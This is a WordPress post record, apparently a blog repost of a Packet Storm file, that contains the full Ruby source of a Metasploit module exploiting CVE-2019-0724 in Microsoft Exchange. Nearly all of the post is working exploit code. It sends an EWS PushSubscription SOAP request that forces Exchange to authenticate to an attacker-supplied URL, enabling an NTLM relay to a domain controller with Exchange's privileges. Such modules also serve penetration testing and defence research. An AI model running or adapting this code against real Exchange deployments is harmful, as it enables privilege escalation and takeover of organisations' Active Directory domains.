{"id":59383,"date":"2024-09-01T23:40:37","date_gmt":"2024-09-01T20:40:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181206\/exchange_web_server_pushsubscription.rb.txt"},"modified":"2024-09-01T23:40:37","modified_gmt":"2024-09-01T20:40:37","slug":"microsoft-exchange-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/microsoft-exchange-privilege-escalation\/","title":{"rendered":"Microsoft Exchange Privilege Escalation"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Microsoft Exchange Privilege Escalation Exploit&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a privilege escalation vulnerability found in Microsoft Exchange &#8211; CVE-2019-0724<br \/>Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature.<br \/>This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured.<br \/>The module is based on the work by @_dirkjan,<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;_dirkjan&#8217;, # Discovery and PoC<br \/>&#8216;Petros Koutroumpis&#8217; # Metasploit<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2019-0724&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/dirkjanm.io\/abusing-exchange-one-api-call-away-from-domain-admin\/&#8217; ]],<br \/>&#8216;DefaultOptions&#8217; =&gt;<br \/>{<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 443<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2019-01-21&#8217;<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;USERNAME&#8217;, [ true, &#8220;Username of any domain user with a mailbox on Exchange&#8221;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [ true, &#8220;Password or password hash (in LM:NT format) of the user&#8221;]),<br \/>OptString.new(&#8216;DOMAIN&#8217;, [ true, &#8220;The Active Directory domain name&#8221;]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8220;Exchange Web Services API endpoint&#8221;, &#8220;\/EWS\/Exchange.asmx&#8221; ]),<br \/>OptString.new(&#8216;EXCHANGE_VERSION&#8217;, [ true, &#8220;Version of Exchange (2013|2016)&#8221;, &#8220;2016&#8221; ]),<br \/>OptString.new(&#8216;ATTACKER_URL&#8217;, [ true, &#8220;Attacker URL&#8221;, nil ])<br \/>])<br \/>end<\/p>\n<p>def run<\/p>\n<p>domain = datastore[&#8216;DOMAIN&#8217;]uri = datastore[&#8216;TARGETURI&#8217;]exchange_version = datastore[&#8216;EXCHANGE_VERSION&#8217;]attacker_url = datastore[&#8216;ATTACKER_URL&#8217;]\n<p>req_data = &#8220;&lt;?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221;?&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;soap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221; xmlns:t=\\&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/types\\&#8221; xmlns:m=\\&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/messages\\&#8221;&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;soap:Header&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;t:RequestServerVersion Version=\\&#8221;Exchange&#8221;+exchange_version+&#8221;\\&#8221; \/&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;\/soap:Header&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;soap:Body&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;m:Subscribe&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;m:PushSubscriptionRequest SubscribeToAllFolders=\\&#8221;true\\&#8221;&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;t:EventTypes&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;t:EventType&gt;NewMailEvent&lt;\/t:EventType&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;t:EventType&gt;ModifiedEvent&lt;\/t:EventType&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;t:EventType&gt;MovedEvent&lt;\/t:EventType&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;\/t:EventTypes&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;t:StatusFrequency&gt;1&lt;\/t:StatusFrequency&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;t:URL&gt;&#8221;+attacker_url+&#8221;&lt;\/t:URL&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;\/m:PushSubscriptionRequest&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;\/m:Subscribe&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;\/soap:Body&gt;&#8221; + &#8220;\\r\\n&#8221;<br \/>req_data += &#8220;&lt;\/soap:Envelope&gt;&#8221; + &#8220;\\r\\n&#8221;<\/p>\n<p>http = nil<\/p>\n<p>http = Rex::Proto::Http::Client.new(<br \/>rhost,<br \/>rport.to_i,<br \/>{},<br \/>ssl,<br \/>ssl_version,<br \/>proxies,<br \/>datastore[&#8216;USERNAME&#8217;],<br \/>datastore[&#8216;PASSWORD&#8217;])<\/p>\n<p>http.set_config({ &#8216;preferred_auth&#8217; =&gt; &#8216;NTLM&#8217; })<br \/>http.set_config({ &#8216;domain&#8217; =&gt; domain })<br \/>add_socket(http)<\/p>\n<p>req = http.request_raw({<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;text\/xml; charset=utf-8&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Accept&#8217; =&gt; &#8216;text\/xml&#8217;<br \/>},<br \/>&#8216;data&#8217; =&gt; req_data<br \/>})<\/p>\n<p>begin<br \/>res = http.send_recv(req)<br \/>xml = res.get_xml_document<br \/>http.close<br \/>rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::Rex::HostUnreachable<br \/>print_error(&#8220;Connection failed&#8221;)<br \/>rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError<br \/>print_error &#8220;SSL negotiation failed&#8221;<br \/>end<\/p>\n<p>if res.nil?<br \/>fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;)<br \/>end<\/p>\n<p>if res.code == 401<br \/>fail_with(Failure::NoAccess, &#8216;Server returned HTTP status 401 &#8211; Authentication failed&#8217;)<br \/>end<\/p>\n<p>if xml.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;Empty reply from server&#8221;)<br \/>end<\/p>\n<p>if res.code == 500 &amp;&amp; xml.text.include?(&#8220;ErrorInvalidServerVersion&#8221;)<br \/>fail_with(Failure::BadConfig, &#8220;Server does not accept this Exchange dialect. Specify a different Exchange version&#8221;)<br \/>end<\/p>\n<p>unless res.code == 200<br \/>fail_with(Failure::UnexpectedReply, &#8220;Server returned HTTP #{res.code}: #{xml.text}&#8221;)<br \/>end<\/p>\n<p>print_good(&#8220;Exchange returned HTTP status 200 &#8211; Authentication was successful&#8221;)<\/p>\n<p>if xml.text.include? &#8220;ErrorMissingEmailAddress&#8221;<br \/>fail_with(Failure::BadConfig, &#8220;The user does not have a mailbox associated. Try a different user.&#8221;)<br \/>end<\/p>\n<p>unless xml.text.include? &#8220;NoError&#8221;<br \/>fail_with(Failure::Unknown, &#8220;Unknown error. Response: #{xml.text}&#8221;)<br \/>end<\/p>\n<p>print_good(&#8220;API call was successful&#8221;)<\/p>\n<p>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Microsoft Exchange Privilege Escalation Exploit&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a privilege escalation vulnerability found in Microsoft Exchange &#8211; CVE-2019-0724Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature.This &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59383","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59383"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59383\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59383"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59383"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}